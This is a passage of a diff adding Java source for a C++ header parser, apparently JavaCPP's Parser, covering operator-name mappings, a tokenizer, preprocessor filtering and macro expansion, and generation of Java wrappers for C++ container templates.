+            .put(new Info("operator<=").javaNames("lessThanEquals"))
+            .put(new Info("operator>=").javaNames("greaterThanEquals"))
+            .put(new Info("operator!").javaNames("not"))
+            .put(new Info("operator&&").javaNames("and"))
+            .put(new Info("operator||").javaNames("or"))
+            .put(new Info("operator&").javaNames("and"))
+            .put(new Info("operator|").javaNames("or"))
+            .put(new Info("operator^").javaNames("xor"))
+            .put(new Info("operator~").javaNames("not"))
+            .put(new Info("operator<<").javaNames("shiftLeft"))
+            .put(new Info("operator>>").javaNames("shiftRight"))
+            .put(new Info("operator+=").javaNames("addPut"))
+            .put(new Info("operator-=").javaNames("subtractPut"))
+            .put(new Info("operator*=").javaNames("multiplyPut"))
+            .put(new Info("operator/=").javaNames("dividePut"))
+            .put(new Info("operator%=").javaNames("modPut"))
+            .put(new Info("operator&=").javaNames("andPut"))
+            .put(new Info("operator|=").javaNames("orPut"))
+            .put(new Info("operator^=").javaNames("xorPut"))
+            .put(new Info("operator<<=").javaNames("shiftLeftPut"))
+            .put(new Info("operator>>=").javaNames("shiftRightPut"))
+
+            .put(new Info("allocate").javaNames("_allocate"))
+            .put(new Info("deallocate").javaNames("_deallocate"))
+            .put(new Info("position").javaNames("_position"))
+            .put(new Info("limit").javaNames("_limit"))
+            .put(new Info("capacity").javaNames("_capacity"));
+
+        static String normalize(String name, boolean unconst, boolean untemplate) {
+            if (name == null || name.length() == 0) {
+                return name;
+            }
+            boolean foundConst = false, simpleType = true;
+            Token[] tokens = new Tokenizer(name).tokenize();
+            int n = tokens.length;
+            for (int i = 0; i < n; i++) {
+                if (tokens[i].match(Token.CONST)) {
+                    foundConst = true;
+                    for (int j = i + 1; j < n; j++) {
+                        tokens[j - 1] = tokens[j];
+                    }
+                    i--; n--;
+                } else if (Arrays.binarySearch(simpleTypes, tokens[i].value) < 0) {
+                    simpleType = false;
+                    break;
+                }
+            }
+            if (simpleType) {
+                Arrays.sort(tokens, 0, n);
+                name = (foundConst ? "const " : "") + tokens[0].value;
+                for (int i = 1; i < n; i++) {
+                    name += " " + tokens[i].value;
+                }
+            } else if (untemplate) {
+                int count = 0, template = -1;
+                for (int i = 0; i < n; i++) {
+                    if (tokens[i].match('<')) {
+                        if (count == 0) {
+                            template = i;
+                        }
+                        count++;
+                    } else if (tokens[i].match('>')) {
+                        count--;
+                        if (count == 0 && i + 1 != n) {
+                            template = -1;
+                        }
+                    }
+                }
+                if (template >= 0) {
+                    name = foundConst ? "const " : "";
+                    for (int i = 0; i < template; i++) {
+                        name += tokens[i].value;
+                    }
+                }
+            }
+            if (unconst && foundConst) {
+                name = name.substring(name.indexOf("const") + 5);
+            }
+            return name.trim();
+        }
+
+        public LinkedList<Info> get(String cppName) {
+            return get(cppName, true);
+        }
+        public LinkedList<Info> get(String cppName, boolean partial) {
+            String key = normalize(cppName, false, false);
+            LinkedList<Info> infoList = super.get(key);
+            if (infoList == null) {
+                key = normalize(cppName, true, false);
+                infoList = super.get(key);
+            }
+            if (infoList == null && partial) {
+                key = normalize(cppName, true, true);
+                infoList = super.get(key);
+            }
+            if (infoList == null) {
+                infoList = new LinkedList<Info>();
+            }
+            if (parent != null) {
+                LinkedList<Info> l = parent.get(cppName, partial);
+                if (l != null && l.size() > 0) {
+                    infoList = new LinkedList<Info>(infoList);
+                    infoList.addAll(l);
+                }
+            }
+            return infoList;
+        }
+
+        public Info get(int index, String cppName) {
+            return get(index, cppName, true);
+        }
+        public Info get(int index, String cppName, boolean partial) {
+            LinkedList<Info> infoList = get(cppName, partial);
+            return infoList.size() > 0 ? infoList.get(index) : null;
+        }
+
+        public Info getFirst(String cppName) {
+            return getFirst(cppName, true);
+        }
+        public Info getFirst(String cppName, boolean partial) {
+            LinkedList<Info> infoList = get(cppName, partial);
+            return infoList.size() > 0 ? infoList.getFirst() : null;
+        }
+
+        public InfoMap put(int index, Info info) {
+            for (String cppName : info.cppNames != null ? info.cppNames : new String[] { null }) {
+                String[] keys = { normalize(cppName, false, false),
+                                  normalize(cppName, false, true) };
+                for (String key : keys) {
+                    LinkedList<Info> infoList = super.get(key);
+                    if (infoList == null) {
+                        super.put(key, infoList = new LinkedList<Info>());
+                    }
+                    if (!infoList.contains(info)) {
+                        switch (index) {
+                            case -1: infoList.add(info); break;
+                            case  0: infoList.addFirst(info); break;
+                            default: infoList.add(index, info); break;
+                        }
+                    }
+                }
+            }
+            return this;
+        }
+
+        public InfoMap put(Info info) {
+            return put(-1, info);
+        }
+
+        public InfoMap putFirst(Info info) {
+            return put(0, info);
+        }
+    }
+
+    public static interface InfoMapper {
+        void map(InfoMap infoMap);
+    }
+
+    static class Token implements Comparable<Token> {
+        Token() { }
+        Token(int type, String value) { this.type = type; this.value = value; }
+        Token(Token t) {
+            file = t.file;
+            lineNumber = t.lineNumber;
+            type = t.type;
+            spacing = t.spacing;
+            value = t.value;
+        }
+
+        static final int
+                INTEGER    = 1,
+                FLOAT      = 2,
+                STRING     = 3,
+                COMMENT    = 4,
+                IDENTIFIER = 5,
+                SYMBOL     = 6;
+
+        static final Token
+                EOF       = new Token(),
+                CONST     = new Token(IDENTIFIER, "const"),
+                DEFINE    = new Token(IDENTIFIER, "define"),
+                IF        = new Token(IDENTIFIER, "if"),
+                IFDEF     = new Token(IDENTIFIER, "ifdef"),
+                IFNDEF    = new Token(IDENTIFIER, "ifndef"),
+                ELIF      = new Token(IDENTIFIER, "elif"),
+                ELSE      = new Token(IDENTIFIER, "else"),
+                ENDIF     = new Token(IDENTIFIER, "endif"),
+                ENUM      = new Token(IDENTIFIER, "enum"),
+                EXPLICIT  = new Token(IDENTIFIER, "explicit"),
+                EXTERN    = new Token(IDENTIFIER, "extern"),
+                FRIEND    = new Token(IDENTIFIER, "friend"),
+                INLINE    = new Token(IDENTIFIER, "inline"),
+                STATIC    = new Token(IDENTIFIER, "static"),
+                CLASS     = new Token(IDENTIFIER, "class"),
+                STRUCT    = new Token(IDENTIFIER, "struct"),
+                UNION     = new Token(IDENTIFIER, "union"),
+                TEMPLATE  = new Token(IDENTIFIER, "template"),
+                TYPEDEF   = new Token(IDENTIFIER, "typedef"),
+                TYPENAME  = new Token(IDENTIFIER, "typename"),
+                USING     = new Token(IDENTIFIER, "using"),
+                NAMESPACE = new Token(IDENTIFIER, "namespace"),
+                OPERATOR  = new Token(IDENTIFIER, "operator"),
+                PRIVATE   = new Token(IDENTIFIER, "private"),
+                PROTECTED = new Token(IDENTIFIER, "protected"),
+                PUBLIC    = new Token(IDENTIFIER, "public"),
+                VIRTUAL   = new Token(IDENTIFIER, "virtual");
+
+        File file = null;
+        int lineNumber = 0, type = -1;
+        String spacing = "", value = "";
+
+        boolean match(Object ... tokens) {
+            boolean found = false;
+            for (Object t : tokens) {
+                found = found || equals(t);
+            }
+            return found;
+        }
+
+        Token expect(Object ... tokens) throws Exception {
+            if (!match(tokens)) {
+                throw new Exception(file + ":" + lineNumber + ": Unexpected token '" + toString() + "'");
+            }
+            return this;
+        }
+
+        boolean isEmpty() {
+            return type == -1 && spacing.isEmpty();
+        }
+
+        @Override public boolean equals(Object obj) {
+            if (obj == this) {
+                return true;
+            } else if (obj == null) {
+                return false;
+            } else if (obj.getClass() == Integer.class) {
+                return type == (Integer)obj;
+            } else if (obj.getClass() == Character.class) {
+                return type == (Character)obj;
+            } else if (obj.getClass() == String.class) {
+                return obj.equals(value);
+            } else if (obj.getClass() == getClass()) {
+                Token other = (Token)obj;
+                return type == other.type && ((value == null && other.value == null) ||
+                                               value != null && value.equals(other.value));
+            } else {
+                return false;
+            }
+        }
+
+        @Override public int hashCode() {
+            return type;
+        }
+
+        @Override public String toString() {
+            return value != null && value.length() > 0 ? value : String.valueOf((char)type);
+        }
+
+        public int compareTo(Token t) {
+            return toString().compareTo(t.toString());
+        }
+    }
+
+    static class Tokenizer implements Closeable {
+        Tokenizer(Reader reader) {
+            this.reader = reader;
+        }
+        Tokenizer(String string) {
+            this.reader = new StringReader(string);
+        }
+        Tokenizer(File file) throws FileNotFoundException {
+            this.file = file;
+            this.reader = new BufferedReader(new FileReader(file));
+        }
+
+        File file = null;
+        Reader reader = null;
+        String lineSeparator = null;
+        int lastChar = -1, lineNumber = 1;
+        StringBuilder buffer = new StringBuilder();
+
+        public void close() throws IOException {
+            reader.close();
+        }
+
+        int readChar() throws IOException {
+            if (lastChar != -1) {
+                int c = lastChar;
+                lastChar = -1;
+                return c;
+            }
+            int c = reader.read();
+            if (c == '\r' || c == '\n') {
+                lineNumber++;
+                int c2 = c == '\r' ? reader.read() : -1;
+                if (lineSeparator == null) {
+                    lineSeparator = c == '\r' && c2 == '\n' ? "\r\n" :
+                                    c == '\r' ? "\r" : "\n";
+                }
+                if (c2 != '\n') {
+                    lastChar = c2;
+                }
+                c = '\n';
+            }
+            return c;
+        }
+
+        public Token nextToken() throws IOException {
+            Token token = new Token();
+            int c = readChar();
+
+            buffer.setLength(0);
+            if (Character.isWhitespace(c)) {
+                buffer.append((char)c);
+                while ((c = readChar()) != -1 && Character.isWhitespace(c)) {
+                    buffer.append((char)c);
+                }
+            }
+            token.file = file;
+            token.lineNumber = lineNumber;
+            token.spacing = buffer.toString();
+
+            buffer.setLength(0);
+            if (Character.isLetter(c) || c == '_') {
+                token.type = Token.IDENTIFIER;
+                buffer.append((char)c);
+                while ((c = readChar()) != -1 && (Character.isDigit(c) || Character.isLetter(c) || c == '_')) {
+                    buffer.append((char)c);
+                }
+                token.value = buffer.toString();
+                lastChar = c;
+            } else if (Character.isDigit(c) || c == '.' || c == '-' ||  c == '+') {
+                token.type = c == '.' ? Token.FLOAT : Token.INTEGER;
+                buffer.append((char)c);
+                int prevc = 0;
+                boolean large = false, unsigned = false, hex = false;
+                while ((c = readChar()) != -1 && (Character.isDigit(c) || c == '.' || c == '-' || c == '+' ||
+                       (c >= 'a' && c <= 'f') || c == 'l' || c == 'u' || c == 'x' ||
+                       (c >= 'A' && c <= 'F') || c == 'L' || c == 'U' || c == 'X')) {
+                    switch (c) {
+                        case '.': token.type = Token.FLOAT;  break;
+                        case 'l': case 'L': large    = true; break;
+                        case 'u': case 'U': unsigned = true; break;
+                        case 'x': case 'X': hex      = true; break;
+                    }
+                    if (c != 'l' && c != 'L' && c != 'u' && c != 'U') {
+                        buffer.append((char)c);
+                    }
+                    prevc = c;
+                }
+                if (!hex && (prevc == 'f' || prevc == 'F')) {
+                    token.type = Token.FLOAT;
+                }
+                if (token.type == Token.INTEGER && (large || (unsigned && !hex))) {
+                    buffer.append('L');
+                }
+                token.value = buffer.toString();
+                lastChar = c;
+            } else if (c == '"') {
+                token.type = Token.STRING;
+                buffer.append('"');
+                int prevc = 0;
+                while ((c = readChar()) != -1 && (prevc == '\\' || c != '"')) {
+                    buffer.append((char)c);
+                    prevc = c;
+                }
+                buffer.append('"');
+                token.value = buffer.toString();
+            } else if (c == '/') {
+                c = readChar();
+                if (c == '/') {
+                    token.type = Token.COMMENT;
+                    buffer.append('/').append('/');
+                    int prevc = 0;
+                    while ((c = readChar()) != -1 && (prevc == '\\' || c != '\n')) {
+                        buffer.append((char)c);
+                        prevc = c;
+                    }
+                    token.value = buffer.toString();
+                    lastChar = c;
+                } else if (c == '*') {
+                    token.type = Token.COMMENT;
+                    buffer.append('/').append('*');
+                    int prevc = 0;
+                    while ((c = readChar()) != -1 && (prevc != '*' || c != '/')) {
+                        buffer.append((char)c);
+                        prevc = c;
+                    }
+                    buffer.append('/');
+                    token.value = buffer.toString();
+                } else {
+                    lastChar = c;
+                    token.type = '/';
+                }
+            } else if (c == ':') {
+                int c2 = readChar();
+                if (c2 == ':') {
+                    token.type = Token.SYMBOL;
+                    token.value = "::";
+                } else {
+                    token.type = c;
+                    lastChar = c2;
+                }
+            } else {
+                if (c == '\\') {
+                    int c2 = readChar();
+                    if (c2 == '\n') {
+                        token.type = Token.COMMENT;
+                        token.value = "\n";
+                        return token;
+                    } else {
+                        lastChar = c2;
+                    }
+                }
+                token.type = c;
+            }
+            return token;
+        }
+
+        Token[] tokenize() {
+            ArrayList<Token> tokens = new ArrayList<Token>();
+            try {
+                Token token;
+                while (!(token = nextToken()).isEmpty()) {
+                    tokens.add(token);
+                }
+            } catch (IOException ex) {
+                throw new RuntimeException(ex);
+            }
+            return tokens.toArray(new Token[tokens.size()]);
+        }
+    }
+
+    static class TokenIndexer {
+        TokenIndexer(InfoMap infoMap, Token[] array) {
+            this.infoMap = infoMap;
+            this.array = array;
+        }
+
+        boolean raw = false;
+        InfoMap infoMap = null;
+        Token[] array = null;
+        int index = 0;
+
+        void filter(int index) {
+            if (index + 1 < array.length && array[index].match('#') &&
+                    array[index + 1].match(Token.IF, Token.IFDEF, Token.IFNDEF)) {
+                ArrayList<Token> tokens = new ArrayList<Token>();
+                for (int i = 0; i < index; i++) {
+                    tokens.add(array[i]);
+                }
+                int count = 0;
+                Info info = null;
+                boolean define = true, defined = false;
+                while (index < array.length) {
+                    Token keyword = null;
+                    if (array[index].match('#')) {
+                        if (count == 0 && array[index + 1].match(Token.IF, Token.IFDEF, Token.IFNDEF)) {
+                            count++;
+                            keyword = array[index + 1];
+                        } else if (count == 1 && array[index + 1].match(Token.ELIF, Token.ELSE, Token.ENDIF)) {
+                            keyword = array[index + 1];
+                        }
+                    }
+                    if (keyword != null) {
+                        tokens.add(array[index++]);
+                        tokens.add(array[index++]);
+                        if (keyword.match(Token.IF, Token.IFDEF, Token.IFNDEF, Token.ELIF)) {
+                            String value = "";
+                            while (index < array.length) {
+                                if (array[index].spacing.indexOf('\n') >= 0) {
+                                    break;
+                                }
+                                value += array[index].spacing + array[index];
+                                tokens.add(array[index++]);
+                            }
+                            define = info == null || !defined;
+                            info = infoMap.getFirst(value);
+                            if (info != null) {
+                                define = keyword.match(Token.IFNDEF) ? !info.define : info.define;
+                            } else try {
+                                define = Integer.parseInt(value.trim()) != 0;
+                            } catch (NumberFormatException e) {
+                                /* default define */
+                            }
+                        } else if (keyword.match(Token.ELSE)) {
+                            define = info == null || !define;
+                        } else if (keyword.match(Token.ENDIF)) {
+                            count--;
+                            if (count == 0) {
+                                break;
+                            }
+                        }
+                    } else if (define) {
+                        tokens.add(array[index++]);
+                    } else {
+                        index++;
+                    }
+                    defined = define || defined;
+                }
+                while (index < array.length) {
+                    tokens.add(array[index++]);
+                }
+                array = tokens.toArray(new Token[tokens.size()]);
+            }
+        }
+
+        void expand(int index) {
+            if (index < array.length && infoMap.containsKey(array[index].value)) {
+                int startIndex = index;
+                Info info = infoMap.getFirst(array[index].value);
+                if (info != null && info.cppText != null) {
+                    try {
+                        Tokenizer tokenizer = new Tokenizer(info.cppText);
+                        if (!tokenizer.nextToken().match('#')
+                                || !tokenizer.nextToken().match(Token.DEFINE)
+                                || !tokenizer.nextToken().match(info.cppNames[0])
+                                || !tokenizer.nextToken().match('(')) {
+                            return;
+                        }
+                        ArrayList<String> params = new ArrayList<String>();
+                        Token token;
+                        while (!(token = tokenizer.nextToken()).isEmpty()) {
+                            if (token.match(Token.IDENTIFIER)) {
+                                params.add(token.value);
+                            } else if (token.match(')')) {
+                                break;
+                            }
+                        }
+                        if (params.size() > 0 && (index + 1 >= array.length
+                                || !array[index + 1].match('('))) {
+                            return;
+                        }
+                        ArrayList<Token> tokens = new ArrayList<Token>();
+                        for (int i = 0; i < index; i++) {
+                            tokens.add(array[i]);
+                        }
+                        ArrayList<Token>[] args = new ArrayList[params.size()];
+                        int count = 0, count2 = 0;
+                        for (index += 2; index < array.length; index++) {
+                            token = array[index];
+                            if (count2 == 0 && token.match(')')) {
+                                break;
+                            } else if (count2 == 0 && token.match(',')) {
+                                count++;
+                                continue;
+                            } else if (token.match('(','[','{')) {
+                                count2++;
+                            } else if (token.match(')',']','}')) {
+                                count2--;
+                            }
+                            if (args[count] == null) {
+                                args[count] = new ArrayList<Token>();
+                            }
+                            args[count].add(token);
+                        }
+                        while (!(token = tokenizer.nextToken()).isEmpty()) {
+                            boolean foundArg = false;
+                            for (int i = 0; i < params.size(); i++) {
+                                if (params.get(i).equals(token.value)) {
+                                    if (tokens.size() == startIndex) {
+                                        args[i].get(0).spacing = array[startIndex].spacing;
+                                    }
+                                    tokens.addAll(args[i]);
+                                    foundArg = true;
+                                    break;
+                                }
+                            }
+                            if (!foundArg) {
+                                if (tokens.size() == startIndex) {
+                                    token.spacing = array[startIndex].spacing;
+                                }
+                                tokens.add(token);
+                            }
+                        }
+                        for (index += 1; index < array.length; index++) {
+                            tokens.add(array[index]);
+                        }
+                        array = tokens.toArray(new Token[tokens.size()]);
+                    } catch (IOException ex) {
+                        throw new RuntimeException(ex);
+                    }
+                }
+            }
+        }
+
+        int preprocess(int index, int count) {
+            while (index < array.length) {
+                filter(index);
+                expand(index);
+                if (!array[index].match(Token.COMMENT) && --count < 0) {
+                    break;
+                }
+                index++;
+            }
+            filter(index);
+            expand(index);
+            return index;
+        }
+
+        Token get() {
+            return get(0);
+        }
+        Token get(int i) {
+            int k = raw ? index + i : preprocess(index, i);
+            return k < array.length ? array[k] : Token.EOF;
+        }
+        Token next() {
+            index = raw ? index + 1 : preprocess(index, 1);
+            return index < array.length ? array[index] : Token.EOF;
+        }
+    }
+
+    static class Context {
+        Context() {
+            usingList = new LinkedList<String>();
+        }
+        Context(Context c) {
+            namespace = c.namespace;
+            group = c.group;
+            inaccessible = c.inaccessible;
+            variables = c.variables;
+            templateMap = c.templateMap;
+            usingList = c.usingList;
+        }
+
+        String namespace = null;
+        Type group = null;
+        boolean inaccessible = false;
+        Declarator[] variables = null;
+        TemplateMap templateMap = null;
+        LinkedList<String> usingList = null;
+
+        String[] qualify(String cppName) {
+            if (cppName == null || cppName.length() == 0) {
+                return new String[0];
+            }
+            ArrayList<String> names = new ArrayList<String>();
+            String ns = namespace != null ? namespace : "";
+            while (ns != null) {
+                String name = ns.length() > 0 ? ns + "::" + cppName : cppName;
+                TemplateMap map = templateMap;
+                while (map != null) {
+                    if (name.equals(map.getName())) {
+                        String args = "";
+                        char separator = '<';
+                        for (String s : map.values()) {
+                            args += separator + s;
+                            separator = ',';
+                        }
+                        args += args.endsWith(">") ? " >" : ">";
+                        names.add(name + args);
+                        break;
+                    }
+                    map = map.parent;
+                }
+                names.add(name);
+
+                ns = InfoMap.normalize(ns, false, true);
+                int i = ns.lastIndexOf("::");
+                ns = i >= 0 ? ns.substring(0, i) : ns.length() > 0 ? "" : null;
+            }
+            for (String s : usingList) {
+                String prefix = InfoMap.normalize(cppName, false, true);
+                int i = s.lastIndexOf("::") + 2;
+                ns = s.substring(0, i);
+                String suffix = s.substring(i);
+                if (suffix.length() == 0 || prefix.equals(suffix)) {
+                    names.add(ns + cppName);
+                }
+            }
+            return names.toArray(new String[names.size()]);
+        }
+
+        String shorten(String javaName) {
+            if (group != null) {
+                int lastDot = 0;
+                String s1 = javaName, s2 = group.javaName + '.';
+                for (int i = 0; i < s1.length() && i < s2.length(); i++) {
+                    if (s1.charAt(i) != s2.charAt(i)) {
+                        break;
+                    } else if (s1.charAt(i) == '.') {
+                        lastDot = i;
+                    }
+                }
+                if (lastDot > 0) {
+                    javaName = javaName.substring(lastDot + 1);
+                }
+            }
+            return javaName;
+        }
+    }
+
+
+    public Parser(Logger logger, Properties properties) {
+        this.logger = logger;
+        this.properties = properties;
+    }
+    Parser(Parser p, String text) {
+        this.logger = p.logger;
+        this.properties = p.properties;
+        this.infoMap = p.infoMap;
+        this.tokens = new TokenIndexer(infoMap, new Tokenizer(text).tokenize());
+    }
+
+    final Logger logger;
+    final Properties properties;
+    InfoMap infoMap = null, leafInfoMap = null;
+    TokenIndexer tokens = null;
+
+    String translate(String text) {
+        int namespace = text.lastIndexOf("::");
+        if (namespace >= 0) {
+            Info info2 = infoMap.getFirst(text.substring(0, namespace));
+            text = text.substring(namespace + 2);
+            if (info2.pointerTypes != null) {
+                text = info2.pointerTypes[0] + "." + text;
+            }
+        }
+        return text;
+    }
+
+
+    void containers(Context context, DeclarationList declList) throws Exception {
+        for (String containerName : InfoMap.containers) {
+            LinkedList<Info> infoList = leafInfoMap.get(containerName);
+            for (Info info : infoList) {
+                Declaration decl = new Declaration();
+                if (info == null || info.skip || !info.define) {
+                    continue;
+                }
+                int dim = 1;
+                boolean resizable = true;
+                Type containerType = new Parser(this, info.cppNames[0]).type(context),
+                        indexType, valueType, firstType = null, secondType = null;
+                if (containerType.arguments == null || containerType.arguments.length == 0) {
+                    continue;
+                } else if (containerType.arguments.length > 1) {
+                    resizable = false;
+                    indexType = containerType.arguments[0];
+                    valueType = containerType.arguments[1];
+                } else {
+                    indexType = new Type();
+                    indexType.annotations = "@Cast(\"size_t\") ";
+                    indexType.cppName = "size_t";
+                    indexType.javaName = "long";
+                    valueType = containerType.arguments[0];
+                }
+                while (valueType.cppName.startsWith(containerName)) {
+                    dim++;
+                    valueType = valueType.arguments[0];
+                }
+                if (valueType.cppName.startsWith("std::pair")) {
+                    firstType = valueType.arguments[0];
+                    secondType = valueType.arguments[1];
+                    if (firstType.annotations == null || firstType.annotations.length() == 0) {
+                        firstType.annotations = "@ByRef ";
+                    }
+                    if (secondType.annotations == null || secondType.annotations.length() == 0) {
+                        secondType.annotations = "@ByRef ";
+                    }
+                }
+                if (valueType.annotations == null || valueType.annotations.length() == 0) {
+                    valueType.annotations = "@ByRef ";
+                }
+                String arrayBrackets = "";
+                for (int i = 0; i < dim - 1; i++) {
+                    arrayBrackets += "[]";
+                }
+                decl.text += "\n"
+                        + "@Name(\"" + containerType.cppName + "\") public static class " + containerType.javaName + " extends Pointer {\n"
+                        + "    static { Loader.load(); }\n"
+                        + "    public " + containerType.javaName + "(Pointer p) { super(p); }\n" + (!resizable || firstType != null || secondType != null ? ""
+                        : "    public " + containerType.javaName + "(" + valueType.javaName + arrayBrackets + " ... array) { this(array.length); put(array); }\n")
+                        + "    public " + containerType.javaName + "()       { allocate();  }\n" + (!resizable ? ""
+                        : "    public " + containerType.javaName + "(long n) { allocate(n); }\n")
+                        + "    private native void allocate();\n"                                + (!resizable ? "\n"
+                        : "    private native void allocate(@Cast(\"size_t\") long n);\n\n");
+
+                for (int i = 0; i < dim; i++) {
+                    String indexAnnotation = i > 0 ? ("@Index" + (i > 1 ? "(" + i + ") " : " " )) : "";
+                    String indices = "";
+                    String separator = "";
+                    for (int j = 0; j < i; j++) {
+                        indices += separator + indexType.annotations + indexType.javaName + " " + (char)('i' + j);
+                        separator = ", ";
+                    }
+
+                    decl.text += "    public native " + indexAnnotation + "long size(" + indices + ");\n"  + (!resizable ? ""
+                               : "    public native " + indexAnnotation + "void resize(" + indices + separator + "@Cast(\"size_t\") long n);\n");
+                }
+
+                String params = "";
+                String separator = "";
+                for (int i = 0; i < dim; i++) {
+                    params += separator + indexType.annotations + indexType.javaName + " " + (char)('i' + i);
+                    separator = ", ";
+                }
+
+                if (firstType != null && secondType != null) {
+                    String indexAnnotation = "@Index" + (dim > 1 ? "(" + dim + ") " : " ");
+                    decl.text += "\n"
+                              +  "    " + indexAnnotation + "public native " + firstType.annotations + firstType.javaName + " first(" + params + ");"
+                              +  " public native " + containerType.javaName + " first(" + params + separator + firstType.javaName + " first);\n"
+                              +  "    " + indexAnnotation + "public native " + secondType.annotations + secondType.javaName + " second(" + params + "); "
+                              +  " public native " + containerType.javaName + " second(" + params + separator + secondType.javaName + " second);\n";
+                } else {
+                    decl.text += "\n"
+                              +  "    @Index public native " + valueType.annotations + valueType.javaName + " get(" + params + ");\n"
+                              +  "    public native " + containerType.javaName + " put(" + params + separator + valueType.javaName + " value);\n";
+                }
+
+                if (resizable && firstType == null && secondType == null) {
+                    decl.text += "\n"
+                              +  "    public " + containerType.javaName + " put(" + valueType.javaName + arrayBrackets + " ... array) {\n";
+                    String indent = "        ";
+                    String indices = "";
+                    String args = "";
+                    separator = "";
+                    for (int i = 0; i < dim; i++) {
+                        char c = (char)('i' + i);
+                        decl.text +=
+                                indent + "if (size(" + args + ") != array" + indices + ".length) { resize(" + args + separator + "array" + indices + ".length); }\n" +
+                                indent + "for (int " + c + " = 0; " + c + " < array" + indices + ".length; " + c + "++) {\n";
+                        indent += "    ";
+                        indices += "[" + c + "]";
+                        args += separator + c;
+                        separator = ", ";
+                    }
+                    decl.text += indent + "put(" + args + separator + "array" + indices + ");\n";
+                    for (int i = 0; i < dim; i++) {
+                        indent = indent.substring(4);
+                        decl.text += indent + "}\n";
+                    }
+                    decl.text += "        return this;\n"
+                              +  "    }\n";
+                }
+                decl.text += "}\n";
+                declList.add(decl);
+            }
+        }
+    }
+
+
+    static class TemplateMap extends LinkedHashMap<String,String> {
+        TemplateMap(TemplateMap parent) {
+            this.parent = parent;
+        }
+        Type type = null;
+        Declarator declarator = null;
+        TemplateMap parent = null;
+
+        String getName() {
+            return type != null ? type.cppName : declarator != null ? declarator.cppName : null;
+        }
+
+        boolean full() {
+            for (String s : values()) {
+                if (s == null) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        String get(String key) {
+            String value = super.get(key);
+            if (value == null && parent != null) {
+                return parent.get(key);
+            } else {
+                return value;
+            }
+        }
+    }
+
+    TemplateMap template(Context context) throws Exception {
+        if (!tokens.get().match(Token.TEMPLATE)) {
+            return null;
+        }
+        TemplateMap map = new TemplateMap(context.templateMap);
+
+        tokens.next().expect('<');
+        for (Token token = tokens.next(); !token.match(Token.EOF); token = tokens.next()) {
+            if (token.match(Token.IDENTIFIER)) {
+                String key = tokens.next().expect(Token.IDENTIFIER).value;
+                map.put(key, map.get(key));
+                token = tokens.next();
+            }
+            if (!token.match(',', '>')) {
+                // ignore default argument
+                int count = 0;
+                for (token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+                    if (count == 0 && token.match(',', '>')) {
+                        break;
+                    } else if (token.match('<')) {
+                        count++;
+                    } else if (token.match('>')) {
+                        count--;
+                    }
+                }
+            }
+            if (token.expect(',', '>').match('>')) {
+                tokens.next();
+                break;
+            }
+        }
+        return map;
+    }
+
+    Type[] templateArguments(Context context) throws Exception {
+        if (!tokens.get().match('<')) {
+            return null;
+        }
+        ArrayList<Type> arguments = new ArrayList<Type>();
+        for (Token token = tokens.next(); !token.match(Token.EOF); token = tokens.next()) {
+            Type type = type(context);
+            arguments.add(type);
+            token = tokens.get();
+            if (!token.match(',', '>')) {
+                // may not actually be a type
+                int count = 0;
+                for (token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+                    if (count == 0 && token.match(',', '>')) {
+                        break;
+                    } else if (token.match('<')) {
+                        count++;
+                    } else if (token.match('>')) {
+                        count--;
+                    }
+                    type.cppName += token;
+                }
+                if (type.cppName.endsWith("*")) {
+                    type.javaName = "PointerPointer";
+                    type.annotations += "@Cast(\"" + type.cppName + "*\") ";
+                }
+            }
+            if (token.expect(',', '>').match('>')) {
+                break;
+            }
+        }
+        return arguments.toArray(new Type[arguments.size()]);
+    }
+
+
+    static class Type {
+        Type() { }
+        Type(String name) { cppName = javaName = name; }
+
+        boolean anonymous = false, constValue = false, constructor = false,
+                destructor = false, operator = false, simple = false, staticMember = false;
+        String annotations = "", cppName = "", javaName = "";
+        Type[] arguments = null;
+        Attribute[] attributes = null;
+
+        @Override public boolean equals(Object obj) {
+            if (obj == this) {
+                return true;
+            } else if (obj == null) {
+                return false;
+            } else if (obj.getClass() == getClass()) {
+                Type other = (Type)obj;
+                return cppName.equals(other.cppName) && javaName.equals(other.javaName);
+            } else {
+                return false;
+            }
+        }
+    }
+
+    Type type(Context context) throws Exception {
+        Type type = new Type();
+        if (tokens.get().match(Token.OPERATOR)) {
+            type.operator = true;
+            tokens.next();
+        }
+        ArrayList<Attribute> attributes = new ArrayList<Attribute>();
+        for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+            if (token.match("::")) {
+                type.cppName += token;
+            } else if (token.match('<')) {
+                type.arguments = templateArguments(context);
+                char separator = '<';
+                for (Type t : type.arguments) {
+                    type.cppName += separator;
+                    Info info = infoMap.getFirst(t.cppName);
+                    type.cppName += info != null && info.cppTypes != null ? info.cppTypes[0] : t.cppName;
+                    separator = ',';
+                }
+                type.cppName += type.cppName.endsWith(">") ? " >" : ">";
+            } else if (token.match(Token.CONST)) {
+                type.constValue = true;
+            } else if (token.match('~')) {
+                type.destructor = true;
+            } else if (token.match(Token.STATIC)) {
+                type.staticMember = true;
+            } else if (token.match(Token.OPERATOR)) {
+                break;
+            } else if (token.match(Token.ENUM, Token.EXPLICIT, Token.EXTERN, Token.INLINE, Token.CLASS,
+                    Token.STRUCT, Token.UNION, Token.TYPEDEF, Token.TYPENAME, Token.USING, Token.VIRTUAL)) {
+                continue;
+            } else if (token.match((Object[])InfoMap.simpleTypes)) {
+                type.cppName += token.value + " ";
+                type.simple = true;
+            } else if (token.match(Token.IDENTIFIER)) {
+                int backIndex = tokens.index;
+                Attribute attr = attribute();
+                if (attr != null && attr.annotation) {
+                    tokens.index--;
+                    type.annotations += attr.javaName;
+                    attributes.add(attr);
+                } else {
+                    tokens.index = backIndex;
+                    if (type.cppName.length() == 0 || type.cppName.endsWith("::")) {
+                        type.cppName += token.value;
+                    } else {
+                        Info info = infoMap.getFirst(tokens.get(1).value);
+                        if ((info != null && info.annotations != null) ||
+                                !tokens.get(1).match('*', '&', Token.IDENTIFIER, Token.CONST)) {
+                            // we probably reached a variable or function name identifier
+                            break;
+                        }
+                    }
+                }
+            } else {
+                if (token.match('}')) {
+                    type.anonymous = true;
+                    tokens.next();
+                }
+                break;
+            }
+        }
+        if (attributes.size() > 0) {
+            type.attributes = attributes.toArray(new Attribute[attributes.size()]);
+        }
+        type.cppName = type.cppName.trim();
+        if ("...".equals(tokens.get().value)) {
+            tokens.next();
+            return null;
+        } else if (type.operator) {
+            for (Token token = tokens.get(); !token.match(Token.EOF, '('); token = tokens.next()) {
